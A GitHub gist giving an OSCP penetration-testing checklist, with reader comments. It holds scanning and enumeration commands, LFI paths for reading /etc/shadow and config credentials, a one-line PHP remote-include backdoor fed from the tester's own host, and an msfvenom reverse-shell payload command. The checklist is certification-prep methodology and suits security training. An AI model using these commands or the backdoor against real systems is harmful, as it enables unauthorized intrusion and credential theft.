Skip to content

Instantly share code, notes, and snippets.

@unfo
Last active September 23, 2024 17:38
Show Gist options
  • Save unfo/5ddc85671dcf39f877aaf5dce105fac3 to your computer and use it in GitHub Desktop.
Save unfo/5ddc85671dcf39f877aaf5dce105fac3 to your computer and use it in GitHub Desktop.

How to pass the OSCP

  1. Recon
  2. Find vuln
  3. Exploit
  4. Document it

Recon

Unicornscans in cli, nmap in msfconsole to help store loot in database.

TCP

unicornscan -i tap0 -I -mT $IP:a
db_nmap -e tap0 -n -v -Pn -sV -sC --version-light -A -p

UDP

unicornscan -i tap0 -I -mU $IP:a
db_nmap -e tap0 -n -v -Pn -sV -sC --version-light -A -sU -p

Enumerating

This is the essential part of penetration. Find out what is available and how you could punch through it with minimum ease.

DO NOT SKIP STEPS.

DO NOT PASS GO.

SEARCH ALL THE VERSIONS WITH searchsploit (or google -> site:exploit-db.com APP VERSION)

HTTP - 80, 8080, 8000

curl -i ${IP}/robots.txt

Note down Server and other module versions.

searchsploit them ALL.

Visit all URLs from robots.txt.

nikto -host $IP
gobuster -u http://$IP -w /usr/share/seclists/Discovery/Web_Content/Top1000-RobotsDisallowed.txt

gobuster -u http://$IP -w /usr/share/seclists/Discovery/Web_Content/common.txt

if nothing, find more web word lists.

Browse the site but keep an eye on the burp window / source code / cookies etc.

Things to be on look for:

  • Default credentials for software
  • SQL-injectable GET/POST params
  • LFI/RFI through ?page=foo type params
  • LFI:
    • /etc/passwd | /etc/shadow insta-win
    • /var/www/html/config.php or similar paths to get SQL etc creds
    • ?page=php://filter/convert.base64-encode/resource=../config.php
    • ../../../../../boot.ini to find out windows version
  • RFI:
    • Have your PHP/cgi downloader ready
    • <?php include $_GET['inc']; ?> simplest backdoor to keep it dynamic without anything messing your output
    • Then you can just http://$IP/inc.php?inc=http://$YOURIP/bg.php and have full control with minimal footprint on target machine
    • get phpinfo()

HTTPS - 443

Heartbleed / CRIME / Other similar attacks

Read the actual SSL CERT to:

  • find out potential correct vhost to GET
  • is the clock skewed
  • any names that could be usernames for bruteforce/guessing.

FTP - 21

  • Anonymous login
  • Enumerate the hell out of the machine!
    • OS version
    • Other software you can find on the machine (Prog Files, yum.log, /bin)
    • password files
    • DLLs for msfpescan / BOF targets
  • Do you have UPLOAD potential?
    • Can you trigger execution of uploads?
    • Swap binaries?
  • Vulnerabilities in version / RCE / #WINNING?-D

SMB - 139, 445

enum4linux -a $IP

Read through the report and search for versions of things => searchsploit

smbclient -L $IP

Mount shares

mount -t cifs -o user=USERNAME,sec=ntlm,dir_mode=0077 "//10.10.10.10/My Share" /mnt/cifs

Can you access shares?

  • Directly exploitable MSxx-xxx versions?
    • Worth burning MSF strike?

SNMP - UDP 161

  • Try to enumerate windows shares / network info

Quick test of communities:

onesixtyone

Full discovery of everything you can:

snmp-check

TFTP - UDP 69

  • Read / Write access?
    • Pretty much same things as FTP

SSH - 22

Unless you get a MOTD or a broken sshd version, you are SOOL and this is likely just a secondary access point once you break something else.

Email - 25, 110/995 or 143/993

SMTP, POP3(s) and IMAP(s) are good for enumerating users.

Also: CHECK VERSIONS and searchsploit

Buffer Overflow

  1. Determine length of overflow trigger w/ binary search "A"x1000
  2. Determine exact EIP with pattern_create.rb & pattern_offset.rb
  3. Determine badchars to make sure all of your payload is getting through
  4. Develop exploit
  • Is the payload right at ESP
    • JMP ESP
  • Is the payload before ESP
    • sub ESP, 200 and then JMP ESP
    • or
    • call [ESP-200]
  1. msfvenom -a x86 --platform windows/linux -p something/shell/reverse_tcp lhost=x.x.x.x lport=53 -f exe/elf/python/perl/php -o filename
  • Make sure it fits your payload length above
  1. Gain shell, local priv esc or rooted already?

Misc tools

  • cewl for crawling a site for bruteforcing user/password
  • don't forget about nmap scripts!
    • e.g. --script smtp-commands or --script auth-owners
@kphan451
Copy link

kphan451 commented Nov 3, 2016

Looks like a good guide, thanks for sharing. Small typo: SNMP port udp 161, not 169.

@mame82
Copy link

mame82 commented Dec 3, 2016

Nice guide. Hint on OS discovery if file read, but no execution possible (FTP, TFTP)

  • Windows %windir%\system32\eula.txt
  • Linux \etc*release (/etc/redhat-release, /etc/lsb-release ...)

@unfo
Copy link
Author

unfo commented Apr 19, 2017

@kphan451 Thanks. Fixed

@coastalgroove
Copy link

Great info, question: 1. wrt to buffer overflows - when you don't have a copy of the (vuln) app - how do you do exploit-dev i.e. tweak the split/buff/nop size or find the address where its landing without running in debugger? .... sometimes I find the app - but - its the patched/newer version. 2. wrt to SSL certs - what can actually do if there is a time skew?

@ferreirasc
Copy link

Great! Thanks =D

@extremepaperclip
Copy link

[...years later in 2018] This is still great advice. Thanks, @unfo !!

@m3ll-0
Copy link

m3ll-0 commented Sep 1, 2019

If you're going to use this guide solely to pass the OSCP you're going to have a hard time.

@unfo
Copy link
Author

unfo commented Oct 1, 2019

If you're going to use this guide solely to pass the OSCP you're going to have a hard time.

I am really hoping no one in their right mind thinks this is meant as a holistic guide. It was an addendum for my Path to OSCP series.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment